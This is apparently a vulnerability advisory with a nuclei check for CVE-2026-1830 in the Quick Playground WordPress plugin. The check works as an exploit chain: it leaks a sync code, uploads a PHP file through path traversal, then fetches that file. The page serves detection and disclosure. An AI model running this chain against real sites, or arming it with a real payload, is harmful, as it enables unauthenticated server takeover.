CVE-2026-1830· davidfcarr / quick-playground· CWE-862
Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1. The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.
Impact
Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.
Fix
Update Quick Playground to version 1.3.2 or later.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/quick-playground/readme.txt
Positive when: contains(body, "Quick Playground") and compare_versions(version, "<= 1.3.1")
Send: GET /wp-json/quickplayground/v1/blueprint/default
Positive when: matches /"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"/
Send: POST /wp-json/quickplayground/v1/upload_image/default
Positive when: status_code == 200 and contains(body, "saving to")
Send: GET {{BaseURL}}/wp-content/{{filename}}
Positive when: status_code == 200 and contains(body, "CVE-2026-1830")Run it with nuclei: nuclei -id CVE-2026-1830 -u <target>
The full check
id: CVE-2026-1830
info:
name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
author: iamatownboy
severity: critical
description: |
The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.
The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.
impact: |
Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.
remediation: |
Update Quick Playground to version 1.3.2 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-1830
- https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve
- https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39
- https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-1830
epss-score: 0.08095
epss-percentile: 0.94863
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
vendor: davidfcarr
product: quick-playground
framework: wordpress
publicwww-query: "/plugins/quick-playground/"
tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive,vkev
variables:
filename: "{{rand_text_alpha(8)}}.php"
flow: http(1) && http(2) && http(3) && http(4)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt"
matchers:
- type: dsl
dsl:
- contains(body, "Quick Playground")
- compare_versions(version, "<= 1.3.1")
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
part: body
regex:
- '"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"'
internal: true
extractors:
- type: regex
name: sync_code
part: body
group: 1
regex:
- '"qckply_sync_code"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"sync_code":"{{sync_code}}","base64":"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+","filename":"../../{{filename}}"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "saving to")
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/{{filename}}"
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "CVE-2026-1830")
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2026-1830
- https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve
- https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39
- https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=
Use this check only on systems you are authorised to test. Where the data comes from